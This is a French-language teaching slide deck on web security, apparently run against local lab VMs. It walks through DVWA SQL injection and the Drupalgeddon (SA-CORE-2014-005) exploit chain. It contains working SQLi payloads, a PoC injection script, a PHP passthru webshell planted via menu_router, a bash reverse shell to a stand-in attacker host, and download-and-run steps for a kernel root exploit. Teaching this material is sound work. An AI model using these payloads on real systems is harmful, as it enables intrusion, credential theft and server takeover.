Skip to content
Snippets Groups Projects
sidoine.md 10.6 KiB
Newer Older
Vincent Mazenod's avatar
Vincent Mazenod committed
# Sécurité des applications web


## Disclaimer
*Cette présentation explique comment marche les failles.
Toutes les attaques sont réalisées sur des VMs en local.
Il est vivement déconseillé de reproduire ces attaques 
sur une cible distante, sans la permission explicite 
de l'administrateur de cette cible!*


## monsite.com

Utilisateur: <input type="text" name="username" value="mazenovi"><br />
Mot de passe: <input id="password" type="password" name="password" value="123admin"><br />
<input type="submit" value="s'authentifier">

### Que se passe-t-il quand on appuie sur le bouton?<!-- .element class="fragment roll-in" -->


## basiquement ...

![SQLi](images/sidoine/SQLi-1.png "SQLi")

### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" -->


* Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
    * en clair

* Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
    * dont le mot de passe

* Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
    * égalité = utilisateur authentifié
    * différence = utilisateur ou mot de passe invalide


![SQLi](images/sidoine/SQLi-2-https.png "SQLi")


![SQLi](images/sidoine/SQLi-full.png "SQLi")


* Lors de la transmission du mot de passe => utiliser https
    * il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/

* Lors du stockage du mot de passe
    * Pourquoi? 
        * Le mot de passe n'est jamais affiché et voilà


## https

canal chiffré

## SQLi

http://dv.wa/vulnerabilities/sqli/

Tout commence par un message d'erreur anodin

http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#

intéressant!

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit

http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit

encore mieux mais on affiche toujours pas les mot de passe car on a pas la main sur la clause select

on peut injecter une UNION ()

SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;

mais les clauses select doivent être compatibles

intuition : il y a Deux champs dans la clause SELECT de la requête

Jouons avec la clause ORDER BY

http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit


http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit

Nous avons les mots de passes

Montrer le code, préciser PHP5

Essayons les 

Aucun ne marche: nous avons récupérer des hasher des mot de passe

**Bonne pratique** stocker les mots de passe hashés

ce qui donne une autre saveur à ce genre de news

https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html

Si on veut aller plus on peut tenter de révéler les mots de passe en clair par table arc en ciel

https://crackstation.net/

**Bonne pratique** stocker des mots de passe complexes. pour ce faire introduire des validations sur la robustesse du mot de passe.

* min / maj / sécique / chiffres
* long (surtout)

## revenons au SQLi

* faille n°1 dans le top 10 owasp depuis plusieurs années

* que peut on faire avec une SQLi à part lire des données sensibles telles que le mot de passe?
    * Corrompre des données
    * Dénis de services
    * Lecture / écriture sur le système de fichiers
    * Exécution de commandes arbitraires

* n'apparaissent plus de manière aussi grossière grâce au requêtes préparées qui échappent les paramètres 

## voyons un vrai faille drupal de 2014 et comment l'exploiter

## La faille

* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
  * Version: 7.x < 7.32
  * Date: 2014-October-15
  * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)


## La faille

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  foreach ($data as $i => $value) {   
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
  * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP


## La faille

[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738

```php
foreach (array_filter($args, 'is_array') as $key => $data) {         
  $new_keys = array();
  /* patched version begin */
  foreach (array_values($data) as $i => $value) {
  /* patched version end */
    $new_keys[$key . '_' . $i] = $value
  }
}
```

* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique

Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
  - code drupal compliqué ou mal fait

## Trouver un système vulnérable sur le www

* ne filtrer que les drupal vulnérables
  * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)

```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```

## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques


## Timeline côté attaquant

* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…


## Exploitation manuelle

remplacer

```html
<input id="edit-name" name="name" type="text">
```

par

```html
<input name="name[0; DELETE FROM flood;;#  ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```

![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->

Note:
- mettre un mot de passe

## PoC

[<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)

```php
$url = $argv[1];
$sql = $argv[2];
$sql =   str_replace('{', '\' , CHAR(123), \'', $sql);
$sql =   str_replace('}', '\' , CHAR(125), \'', $sql);
$sql =   str_replace('[', '\' , CHAR(91), \'', $sql);
$sql =   str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);

//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
    'http' => array(
    'method' => 'POST',
    'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
    'content' => $post_data
  )
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```

```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```

## Backdoor

rerésente 68% des attaques

Simple backdoor shell

```php
$malicious_file_to_upload = '<?php
if(isset($_REQUEST["cmd"])){
  echo "<pre>";
  passthru($_REQUEST["cmd"]);
  die;
}
phpinfo();';
```

* [passthru()](http://php.net/manual/fr/function.passthru.php)

* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)


## Backdoor

* Architecture Drupal
  * menu_router
    * un url = un callback + un tableau d'arguments sérialisés

```sql
insert into menu_router values ('backdoor','','','file_put_contents',
$attack_payload, '','','',0,0,0,'','','','','','','',0,'hacked','',0,'');
```

Payload

```php
$attack_payload = array('sites/default/files/backdoor.php', $malicious_file_to_upload);
$attack_payload = serialize($attack_payload);
```

[http://drup.al/backdoor](http://drup.al/backdoor)

Note:
- bien entendu on appelle pas ça backdoor
- en réalité l'exploit de Matt Korostoff marche avec un cookie
- deux ou trois échappement sont nécessaire
- même pas besoin créer le compte admin hein ...
  - automatisable à souhait


## exploitation

```shell
$ php attack/exploit.php 'http://drup.al'
```

* [http://drup.al/sites/default/files/backdoor.php](http://drup.al.com/sites/default/files/backdoor.php)
  * affiche phpinfo()
* [http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../settings.php](http://drup.al/sites/default/files/backdoor.php?cmd=cat%20../../sites/default/settings.php)
  * affiche les paramètres SQL


## exploitation

```shell
nc -lvvp 1337
```

met le poste de l'attaquant en écoute sur le port 1337

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=urlencode(bash -c 'bash -i >& /dev/tcp/bad.guy/1337 0>&1 ; bash');
```

en version encodée

```http
http://drup.al/sites/default/files/backdoor.php?
cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```

* connecte le serveur sur l'IP de l'attaquant

Note:
- discuter [Bind VS Reverse shell](http://www.go4expert.com/articles/difference-bind-shell-reverse-shell-t25408/)
- Bind shell improbable
- ICMP Reverse Shell passe par le protocole ICMP
  - analyse des ping wireshark
  - [Bypassing corporate firewall with reverse ssh port forwarding](https://toic.org/blog/2009/reverse-ssh-port-forwarding/)
    - sur ma maquette ca marche aussi sur le port 80 ...


## escalade de privilèges

* [Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)
  * environ tous les 2 ans
    * [CVE-2013-2094](https://github.com/realtalk/cve-2013-2094)
  * fonctionne sur les archi 64bits uniquement
  * kernel de 2.6.37 à 3.8.10

```shell
$ # www.tux-planet.fr/public/hack/exploits/kernel/semtex.c is dead
$ wget https://raw.githubusercontent.com/realtalk/cve-2013-2094/master/semtex.c
$ gcc -O2 semtex.c
$ ./a.out
$ whoami
```


## W00T

![w00t!!!!](images/drupalgeddon/woot.gif "w00t")<!-- .element width="100%"-->


## Moralité

* un malheur n'arrive jamais seul
  * [c.f. loi de murphy](https://fr.wiktionary.org/wiki/loi_de_Murphy)
* tout doit être à jour
  * système, lib, cms, services, ...
* mieux vaut s'appuyer sur des communautés
  * réactives
  * préoccupées par la sécurité
* bien suivre les mises à jour des produits
  * et patcher asap quand nécessaire